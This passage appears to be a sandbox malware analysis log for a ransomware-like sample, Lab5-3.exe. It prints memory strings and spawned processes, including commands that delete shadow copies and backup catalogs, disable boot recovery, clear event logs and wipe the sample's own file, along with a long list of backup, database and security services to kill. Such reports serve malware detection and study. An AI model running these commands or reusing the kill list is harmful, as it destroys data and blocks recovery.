Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\j
Source: Lab5-3.exe, 00000000.00000000.1629021077.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: Lab5-3.exe, 00000000.00000000.1629021077.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: /c vssadmin Delete Shadows /All /Quiet
Source: Lab5-3.exe, 00000000.00000000.1629021077.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: For more information see Restore-My-Files.txt that is located in every encrypted folder08:15:1008:15:10GenuineIntelAuthenticAMDGlobal\{02B49784-1CA2-436C-BC08-72FA3956507D}Global\{BEF590BE-11A6-442A-A85B-656C1081E04C}SeDebugPrivilegeDebug Privilege: OK08:15:10Local time: %d.%d %d:%dPC: %s08:15:12cmd.exeRemoved autorun key /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "%s" & Del /f /q "%s"SOFTWARE\Microsoft\Windows\CurrentVersion\RunXO1XADpO01"%s"Service %s stoppedwrapperDefWatchccEvtMgrccSetMgrSavRoamSqlservrsqlagentsqladhlpCulserverRTVscansqlbrowserSQLADHLPQBIDPServiceIntuit.QuickBooks.FCSQBCFMonitorServicesqlwritermsmdsrvtomcat6zhudongfangyuvmware-usbarbitator64vmware-converterdbsrv12dbeng8MSSQL$MICROSOFT##WIDMSSQL$VEEAMSQL2012SQLAgent$VEEAMSQL2012SQLBrowserSQLWriterFishbowlMySQLMSSQL$MICROSOFT##WIDMySQL57MSSQL$KAV_CS_ADMIN_KITMSSQLServerADHelper100SQLAgent$KAV_CS_ADMIN_KITmsftesql-ExchangeMSSQL$MICROSOFT##SSEEMSSQL$SBSMONITORINGMSSQL$SHAREPOINTMSSQLFDLauncher$SBSMONITORINGMSSQLFDLauncher$SHAREPOINTSQLAgent$SBSMONITORINGSQLAgent$SHAREPOINTQBFCServiceQBVSSYooBackupYooITvsssqlsvc$MSSQLMSSQL$memtasmepocssophosveeambackupbedbgPDVFSServiceBackupExecVSSProviderBackupExecAgentAcceleratorBackupExecAgentBrowserBackupExecDiveciMediaServiceBackupExecJobEngineBackupExecManagementServiceBackupExecRPCServiceMVArmorMVarmor64stc_raw_agentVSNAPVSSVeeamTransportSvcVeeamDeploymentServiceVeeamNFSSvcAcronisAgentARSMAcrSch2SvcCASAD2DWebSvcCAARCUpdateSvcWSBExchangeMSExchangeMSExchange$Service %s stoppedService %s stoppedService %s stoppedcmd.exerunas/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietwxServerwxServerViewsqlmangrRAguisuperviseCultureDefwatchwinwordQBW32QBDBMgrqbupdateaxlbridgehttpdfdlauncherMsDtSrvrjava360se360doctorwdswfsafefdhostGDscanZhuDongFangYuQBDBMgrNmysqldAutodeskDesktopAppacwebbrowserCreative CloudAdobe Desktop ServiceCoreSyncAdobe CEF HelpernodeAdobeIPCBrokersync-taskbarsync-workerInputPersonalizationAdobeCollabSyncBrCtrlCntrBrCcUxSysSimplyConnectionManagerSimply.SystemTrayIconfbguardfbserverONENOTEMwsa_servicekoaly-exp-engine-serviceTeamViewer_ServiceTeamViewertv_w32tv_x64TitanVSsmsnotepadRdrCEFsamoracleocssddbsnmpsynctimeagntsvcisqlplussvcxfssvcconmydesktopserviceocautoupdsencsvcfirefoxtbirdconfigmydesktopqosocommdbeng50sqbcoreserviceexcelinfopathmsaccessmspubonenoteoutlookpowerpntsteamthebatthunderbirdvisiowordpadbedbhvxmonbenetnsbengienpvlsvrbeserverraw_agent_svcvsnapvssCagServiceDellSystemDetectEnterpriseClientVeeamDeploymentSvcKilled process: %s [pid: %ld]Wow64DisableWow64FsRedirectionkernel32/c vssadmin Delete Shadows /All /Quiet/c bcdedit /set {default} recoveryenabled No/c bcdedit /set {default} bootstatuspolicy ignoreallfailures/c wbadmin DELETE SYSTEMSTATEBACKUP/c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest/c wmic SHADOWCOPY /nointeractive/c wevtutil c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: vssadmin.exe, 00000006.00000002.1725802350.000001DC2A470000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet vssadmin delete shadows /all /quiet Winsta0\Default
Source: vssadmin.exe, 00000006.00000002.1725802350.000001DC2A470000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadmin delete shadows /all /quiet
Source: vssadmin.exe, 00000006.00000002.1726555300.000001DC2A7B5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadmindeleteshadows/all/quieti
Source: Lab5-3.exe, 00000013.00000002.1822737121.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: Lab5-3.exe, 00000013.00000002.1822737121.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: /c vssadmin Delete Shadows /All /Quiet
Source: Lab5-3.exe, 00000013.00000002.1822737121.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: For more information see Restore-My-Files.txt that is located in every encrypted folder08:15:1008:15:10GenuineIntelAuthenticAMDGlobal\{02B49784-1CA2-436C-BC08-72FA3956507D}Global\{BEF590BE-11A6-442A-A85B-656C1081E04C}SeDebugPrivilegeDebug Privilege: OK08:15:10Local time: %d.%d %d:%dPC: %s08:15:12cmd.exeRemoved autorun key /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "%s" & Del /f /q "%s"SOFTWARE\Microsoft\Windows\CurrentVersion\RunXO1XADpO01"%s"Service %s stoppedwrapperDefWatchccEvtMgrccSetMgrSavRoamSqlservrsqlagentsqladhlpCulserverRTVscansqlbrowserSQLADHLPQBIDPServiceIntuit.QuickBooks.FCSQBCFMonitorServicesqlwritermsmdsrvtomcat6zhudongfangyuvmware-usbarbitator64vmware-converterdbsrv12dbeng8MSSQL$MICROSOFT##WIDMSSQL$VEEAMSQL2012SQLAgent$VEEAMSQL2012SQLBrowserSQLWriterFishbowlMySQLMSSQL$MICROSOFT##WIDMySQL57MSSQL$KAV_CS_ADMIN_KITMSSQLServerADHelper100SQLAgent$KAV_CS_ADMIN_KITmsftesql-ExchangeMSSQL$MICROSOFT##SSEEMSSQL$SBSMONITORINGMSSQL$SHAREPOINTMSSQLFDLauncher$SBSMONITORINGMSSQLFDLauncher$SHAREPOINTSQLAgent$SBSMONITORINGSQLAgent$SHAREPOINTQBFCServiceQBVSSYooBackupYooITvsssqlsvc$MSSQLMSSQL$memtasmepocssophosveeambackupbedbgPDVFSServiceBackupExecVSSProviderBackupExecAgentAcceleratorBackupExecAgentBrowserBackupExecDiveciMediaServiceBackupExecJobEngineBackupExecManagementServiceBackupExecRPCServiceMVArmorMVarmor64stc_raw_agentVSNAPVSSVeeamTransportSvcVeeamDeploymentServiceVeeamNFSSvcAcronisAgentARSMAcrSch2SvcCASAD2DWebSvcCAARCUpdateSvcWSBExchangeMSExchangeMSExchange$Service %s stoppedService %s stoppedService %s stoppedcmd.exerunas/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietwxServerwxServerViewsqlmangrRAguisuperviseCultureDefwatchwinwordQBW32QBDBMgrqbupdateaxlbridgehttpdfdlauncherMsDtSrvrjava360se360doctorwdswfsafefdhostGDscanZhuDongFangYuQBDBMgrNmysqldAutodeskDesktopAppacwebbrowserCreative CloudAdobe Desktop ServiceCoreSyncAdobe CEF HelpernodeAdobeIPCBrokersync-taskbarsync-workerInputPersonalizationAdobeCollabSyncBrCtrlCntrBrCcUxSysSimplyConnectionManagerSimply.SystemTrayIconfbguardfbserverONENOTEMwsa_servicekoaly-exp-engine-serviceTeamViewer_ServiceTeamViewertv_w32tv_x64TitanVSsmsnotepadRdrCEFsamoracleocssddbsnmpsynctimeagntsvcisqlplussvcxfssvcconmydesktopserviceocautoupdsencsvcfirefoxtbirdconfigmydesktopqosocommdbeng50sqbcoreserviceexcelinfopathmsaccessmspubonenoteoutlookpowerpntsteamthebatthunderbirdvisiowordpadbedbhvxmonbenetnsbengienpvlsvrbeserverraw_agent_svcvsnapvssCagServiceDellSystemDetectEnterpriseClientVeeamDeploymentSvcKilled process: %s [pid: %ld]Wow64DisableWow64FsRedirectionkernel32/c vssadmin Delete Shadows /All /Quiet/c bcdedit /set {default} recoveryenabled No/c bcdedit /set {default} bootstatuspolicy ignoreallfailures/c wbadmin DELETE SYSTEMSTATEBACKUP/c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest/c wmic SHADOWCOPY /nointeractive/c wevtutil c
Source: Lab5-3.exe, 00000013.00000000.1764646363.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: Lab5-3.exe, 00000013.00000000.1764646363.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: /c vssadmin Delete Shadows /All /Quiet
Source: Lab5-3.exe, 00000013.00000000.1764646363.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: For more information see Restore-My-Files.txt that is located in every encrypted folder08:15:1008:15:10GenuineIntelAuthenticAMDGlobal\{02B49784-1CA2-436C-BC08-72FA3956507D}Global\{BEF590BE-11A6-442A-A85B-656C1081E04C}SeDebugPrivilegeDebug Privilege: OK08:15:10Local time: %d.%d %d:%dPC: %s08:15:12cmd.exeRemoved autorun key /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "%s" & Del /f /q "%s"SOFTWARE\Microsoft\Windows\CurrentVersion\RunXO1XADpO01"%s"Service %s stoppedwrapperDefWatchccEvtMgrccSetMgrSavRoamSqlservrsqlagentsqladhlpCulserverRTVscansqlbrowserSQLADHLPQBIDPServiceIntuit.QuickBooks.FCSQBCFMonitorServicesqlwritermsmdsrvtomcat6zhudongfangyuvmware-usbarbitator64vmware-converterdbsrv12dbeng8MSSQL$MICROSOFT##WIDMSSQL$VEEAMSQL2012SQLAgent$VEEAMSQL2012SQLBrowserSQLWriterFishbowlMySQLMSSQL$MICROSOFT##WIDMySQL57MSSQL$KAV_CS_ADMIN_KITMSSQLServerADHelper100SQLAgent$KAV_CS_ADMIN_KITmsftesql-ExchangeMSSQL$MICROSOFT##SSEEMSSQL$SBSMONITORINGMSSQL$SHAREPOINTMSSQLFDLauncher$SBSMONITORINGMSSQLFDLauncher$SHAREPOINTSQLAgent$SBSMONITORINGSQLAgent$SHAREPOINTQBFCServiceQBVSSYooBackupYooITvsssqlsvc$MSSQLMSSQL$memtasmepocssophosveeambackupbedbgPDVFSServiceBackupExecVSSProviderBackupExecAgentAcceleratorBackupExecAgentBrowserBackupExecDiveciMediaServiceBackupExecJobEngineBackupExecManagementServiceBackupExecRPCServiceMVArmorMVarmor64stc_raw_agentVSNAPVSSVeeamTransportSvcVeeamDeploymentServiceVeeamNFSSvcAcronisAgentARSMAcrSch2SvcCASAD2DWebSvcCAARCUpdateSvcWSBExchangeMSExchangeMSExchange$Service %s stoppedService %s stoppedService %s stoppedcmd.exerunas/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietwxServerwxServerViewsqlmangrRAguisuperviseCultureDefwatchwinwordQBW32QBDBMgrqbupdateaxlbridgehttpdfdlauncherMsDtSrvrjava360se360doctorwdswfsafefdhostGDscanZhuDongFangYuQBDBMgrNmysqldAutodeskDesktopAppacwebbrowserCreative CloudAdobe Desktop ServiceCoreSyncAdobe CEF HelpernodeAdobeIPCBrokersync-taskbarsync-workerInputPersonalizationAdobeCollabSyncBrCtrlCntrBrCcUxSysSimplyConnectionManagerSimply.SystemTrayIconfbguardfbserverONENOTEMwsa_servicekoaly-exp-engine-serviceTeamViewer_ServiceTeamViewertv_w32tv_x64TitanVSsmsnotepadRdrCEFsamoracleocssddbsnmpsynctimeagntsvcisqlplussvcxfssvcconmydesktopserviceocautoupdsencsvcfirefoxtbirdconfigmydesktopqosocommdbeng50sqbcoreserviceexcelinfopathmsaccessmspubonenoteoutlookpowerpntsteamthebatthunderbirdvisiowordpadbedbhvxmonbenetnsbengienpvlsvrbeserverraw_agent_svcvsnapvssCagServiceDellSystemDetectEnterpriseClientVeeamDeploymentSvcKilled process: %s [pid: %ld]Wow64DisableWow64FsRedirectionkernel32/c vssadmin Delete Shadows /All /Quiet/c bcdedit /set {default} recoveryenabled No/c bcdedit /set {default} bootstatuspolicy ignoreallfailures/c wbadmin DELETE SYSTEMSTATEBACKUP/c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest/c wmic SHADOWCOPY /nointeractive/c wevtutil c
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Users\user\Desktop\Lab5-3.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: Lab5-3.exe, 0000001B.00000002.3764952965.00000000007B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /c vssadmin Delete Shadows /All /Quiet7d
Source: Lab5-3.exe, 0000001B.00000003.2069317377.0000000019161000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: Lab5-3.exe, 0000001B.00000003.2028174332.0000000019161000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: Lab5-3.exe, 0000001B.00000003.2549739906.0000000019161000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: Lab5-3.exe, 0000001B.00000003.2038992238.00000000007BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /c vssadmin Delete Shadows /All /Quiet7d
Source: Lab5-3.exe, 0000001B.00000002.3750630560.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: Lab5-3.exe, 0000001B.00000002.3750630560.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: /c vssadmin Delete Shadows /All /Quiet
Source: Lab5-3.exe, 0000001B.00000002.3750630560.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: For more information see Restore-My-Files.txt that is located in every encrypted folder08:15:1008:15:10GenuineIntelAuthenticAMDGlobal\{02B49784-1CA2-436C-BC08-72FA3956507D}Global\{BEF590BE-11A6-442A-A85B-656C1081E04C}SeDebugPrivilegeDebug Privilege: OK08:15:10Local time: %d.%d %d:%dPC: %s08:15:12cmd.exeRemoved autorun key /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "%s" & Del /f /q "%s"SOFTWARE\Microsoft\Windows\CurrentVersion\RunXO1XADpO01"%s"Service %s stoppedwrapperDefWatchccEvtMgrccSetMgrSavRoamSqlservrsqlagentsqladhlpCulserverRTVscansqlbrowserSQLADHLPQBIDPServiceIntuit.QuickBooks.FCSQBCFMonitorServicesqlwritermsmdsrvtomcat6zhudongfangyuvmware-usbarbitator64vmware-converterdbsrv12dbeng8MSSQL$MICROSOFT##WIDMSSQL$VEEAMSQL2012SQLAgent$VEEAMSQL2012SQLBrowserSQLWriterFishbowlMySQLMSSQL$MICROSOFT##WIDMySQL57MSSQL$KAV_CS_ADMIN_KITMSSQLServerADHelper100SQLAgent$KAV_CS_ADMIN_KITmsftesql-ExchangeMSSQL$MICROSOFT##SSEEMSSQL$SBSMONITORINGMSSQL$SHAREPOINTMSSQLFDLauncher$SBSMONITORINGMSSQLFDLauncher$SHAREPOINTSQLAgent$SBSMONITORINGSQLAgent$SHAREPOINTQBFCServiceQBVSSYooBackupYooITvsssqlsvc$MSSQLMSSQL$memtasmepocssophosveeambackupbedbgPDVFSServiceBackupExecVSSProviderBackupExecAgentAcceleratorBackupExecAgentBrowserBackupExecDiveciMediaServiceBackupExecJobEngineBackupExecManagementServiceBackupExecRPCServiceMVArmorMVarmor64stc_raw_agentVSNAPVSSVeeamTransportSvcVeeamDeploymentServiceVeeamNFSSvcAcronisAgentARSMAcrSch2SvcCASAD2DWebSvcCAARCUpdateSvcWSBExchangeMSExchangeMSExchange$Service %s stoppedService %s stoppedService %s stoppedcmd.exerunas/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietwxServerwxServerViewsqlmangrRAguisuperviseCultureDefwatchwinwordQBW32QBDBMgrqbupdateaxlbridgehttpdfdlauncherMsDtSrvrjava360se360doctorwdswfsafefdhostGDscanZhuDongFangYuQBDBMgrNmysqldAutodeskDesktopAppacwebbrowserCreative CloudAdobe Desktop ServiceCoreSyncAdobe CEF HelpernodeAdobeIPCBrokersync-taskbarsync-workerInputPersonalizationAdobeCollabSyncBrCtrlCntrBrCcUxSysSimplyConnectionManagerSimply.SystemTrayIconfbguardfbserverONENOTEMwsa_servicekoaly-exp-engine-serviceTeamViewer_ServiceTeamViewertv_w32tv_x64TitanVSsmsnotepadRdrCEFsamoracleocssddbsnmpsynctimeagntsvcisqlplussvcxfssvcconmydesktopserviceocautoupdsencsvcfirefoxtbirdconfigmydesktopqosocommdbeng50sqbcoreserviceexcelinfopathmsaccessmspubonenoteoutlookpowerpntsteamthebatthunderbirdvisiowordpadbedbhvxmonbenetnsbengienpvlsvrbeserverraw_agent_svcvsnapvssCagServiceDellSystemDetectEnterpriseClientVeeamDeploymentSvcKilled process: %s [pid: %ld]Wow64DisableWow64FsRedirectionkernel32/c vssadmin Delete Shadows /All /Quiet/c bcdedit /set {default} recoveryenabled No/c bcdedit /set {default} bootstatuspolicy ignoreallfailures/c wbadmin DELETE SYSTEMSTATEBACKUP/c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest/c wmic SHADOWCOPY /nointeractive/c wevtutil c
Source: Lab5-3.exe, 0000001B.00000003.2046471898.0000000019161000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: Lab5-3.exe, 0000001B.00000003.2050781909.0000000019161000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: Lab5-3.exe, 0000001B.00000003.2890371108.0000000019161000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: Lab5-3.exe, 0000001B.00000000.1820658246.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: Lab5-3.exe, 0000001B.00000000.1820658246.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: /c vssadmin Delete Shadows /All /Quiet
Source: Lab5-3.exe, 0000001B.00000000.1820658246.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: For more information see Restore-My-Files.txt that is located in every encrypted folder08:15:1008:15:10GenuineIntelAuthenticAMDGlobal\{02B49784-1CA2-436C-BC08-72FA3956507D}Global\{BEF590BE-11A6-442A-A85B-656C1081E04C}SeDebugPrivilegeDebug Privilege: OK08:15:10Local time: %d.%d %d:%dPC: %s08:15:12cmd.exeRemoved autorun key /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "%s" & Del /f /q "%s"SOFTWARE\Microsoft\Windows\CurrentVersion\RunXO1XADpO01"%s"Service %s stoppedwrapperDefWatchccEvtMgrccSetMgrSavRoamSqlservrsqlagentsqladhlpCulserverRTVscansqlbrowserSQLADHLPQBIDPServiceIntuit.QuickBooks.FCSQBCFMonitorServicesqlwritermsmdsrvtomcat6zhudongfangyuvmware-usbarbitator64vmware-converterdbsrv12dbeng8MSSQL$MICROSOFT##WIDMSSQL$VEEAMSQL2012SQLAgent$VEEAMSQL2012SQLBrowserSQLWriterFishbowlMySQLMSSQL$MICROSOFT##WIDMySQL57MSSQL$KAV_CS_ADMIN_KITMSSQLServerADHelper100SQLAgent$KAV_CS_ADMIN_KITmsftesql-ExchangeMSSQL$MICROSOFT##SSEEMSSQL$SBSMONITORINGMSSQL$SHAREPOINTMSSQLFDLauncher$SBSMONITORINGMSSQLFDLauncher$SHAREPOINTSQLAgent$SBSMONITORINGSQLAgent$SHAREPOINTQBFCServiceQBVSSYooBackupYooITvsssqlsvc$MSSQLMSSQL$memtasmepocssophosveeambackupbedbgPDVFSServiceBackupExecVSSProviderBackupExecAgentAcceleratorBackupExecAgentBrowserBackupExecDiveciMediaServiceBackupExecJobEngineBackupExecManagementServiceBackupExecRPCServiceMVArmorMVarmor64stc_raw_agentVSNAPVSSVeeamTransportSvcVeeamDeploymentServiceVeeamNFSSvcAcronisAgentARSMAcrSch2SvcCASAD2DWebSvcCAARCUpdateSvcWSBExchangeMSExchangeMSExchange$Service %s stoppedService %s stoppedService %s stoppedcmd.exerunas/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quietwxServerwxServerViewsqlmangrRAguisuperviseCultureDefwatchwinwordQBW32QBDBMgrqbupdateaxlbridgehttpdfdlauncherMsDtSrvrjava360se360doctorwdswfsafefdhostGDscanZhuDongFangYuQBDBMgrNmysqldAutodeskDesktopAppacwebbrowserCreative CloudAdobe Desktop ServiceCoreSyncAdobe CEF HelpernodeAdobeIPCBrokersync-taskbarsync-workerInputPersonalizationAdobeCollabSyncBrCtrlCntrBrCcUxSysSimplyConnectionManagerSimply.SystemTrayIconfbguardfbserverONENOTEMwsa_servicekoaly-exp-engine-serviceTeamViewer_ServiceTeamViewertv_w32tv_x64TitanVSsmsnotepadRdrCEFsamoracleocssddbsnmpsynctimeagntsvcisqlplussvcxfssvcconmydesktopserviceocautoupdsencsvcfirefoxtbirdconfigmydesktopqosocommdbeng50sqbcoreserviceexcelinfopathmsaccessmspubonenoteoutlookpowerpntsteamthebatthunderbirdvisiowordpadbedbhvxmonbenetnsbengienpvlsvrbeserverraw_agent_svcvsnapvssCagServiceDellSystemDetectEnterpriseClientVeeamDeploymentSvcKilled process: %s [pid: %ld]Wow64DisableWow64FsRedirectionkernel32/c vssadmin Delete Shadows /All /Quiet/c bcdedit /set {default} recoveryenabled No/c bcdedit /set {default} bootstatuspolicy ignoreallfailures/c wbadmin DELETE SYSTEMSTATEBACKUP/c wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest/c wmic SHADOWCOPY /nointeractive/c wevtutil c
Source: Lab5-3.exe, 0000001B.00000003.2157404991.0000000000738000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /c vssadmin Delete Shadows /All /Quiet
Source: Lab5-3.exe, 0000001B.00000003.2091016379.0000000019161000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: Lab5-3.exe, 0000001B.00000003.3463789215.0000000019161000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic shadowcopy delete
Source: vssadmin.exe, 00000020.00000002.1861769176.000002BAC98E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Windows\system32\C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet vssadmin delete shadows /all /quiet WinSta0\Defaultw
Source: vssadmin.exe, 00000020.00000002.1861769176.000002BAC98E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadmin delete shadows /all /quiet
Source: vssadmin.exe, 00000020.00000002.1861769176.000002BAC98E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadmin delete shadows /all /quiet 3
Source: vssadmin.exe, 00000020.00000002.1862310685.000002BAC9B85000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadmindeleteshadows/all/quietB
Source: Lab5-3.exe, 00000022.00000002.1879653667.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: Lab5-3.exe, 00000022.00000002.1879653667.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: /c vssadmin Delete Shadows /All /Quiet
Source: Lab5-3.exe, 00000022.00000002.1879653667.000000000041B000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: For more information see Restore-My-Files.txt that is located in every encrypted folder08:15:1008:15:10GenuineIntelAuthenticAMDGlobal\{02B49784-1CA2-436C-BC08-72FA3956507D}Global\{BEF590BE-11A6-442A-A85B-656C1081E04C}SeDebugPrivilegeDebug Privilege: OK08:15:10Local time: %d.%d %d:%dPC: %s08:15:12cmd.exeRemoved autorun key /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "%s" & Del /f /q "%s"SOFTWARE\Microsoft\Windows\CurrentVersion\RunXO1XADpO01"%s"Service %s stoppedwrapperDefWatchccEvtMgrccSetMgrSavRoamSqlservrsqlagentsqladhlpCulserverRTVscansqlbrowserSQLADHLPQBIDPServiceIntuit.QuickBooks.FCSQBCFMonitorServicesqlwritermsmdsrvtomcat6zhudongfangyuvmware-usbarbitator64vmware-converterdbsrv12dbeng8MSSQL$MICROSOFT##WIDMSSQL$VEEAMSQL2012SQLAgent$VEEAMSQL2012SQLBrowserSQLWriterFishbowlMySQLMSSQL$MICROSOFT##WIDMySQL57MSSQL$KAV_CS_ADMIN_KITMSSQLServerADHelper100SQLAgent$KAV_CS_ADMIN_KITmsftesql-ExchangeMSSQL$MICROSOFT##SSEEMSSQL$SBSMONITORINGMSSQL$SHAREPOINTMSSQLFDLauncher$SBSMONITORINGMSSQLFDLauncher$SHAREPOINTSQLAgent$SBSMONITORINGSQLAgent$SHAREPOINTQBFCServiceQBVSSYooBackupYooITvsssqlsvc$MSSQLMSSQL$memtasmepocssophosveeambackupbedbgPDVFSServiceBackupExecVSSProviderBackupExecAgentAcceleratorBackupExecAgentBrowserBackupExecDiveciMediaServiceBackupExecJobEngineBackupExecManagementServiceBackupExecRPCServiceMVArmorMVarmor64stc_raw_agentVSNAPVSSVeeamTransportSvcVeeamDeploymentServiceVeeamNFSSvcAcronisAgentARSMAcrSch2SvcCASAD2DWebSvcCAARCUpdateSvcWSBExchangeMSExchangeMSExchange$Service %s stoppedService %s stoppedService %s stoppedcmd.exerunas/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} 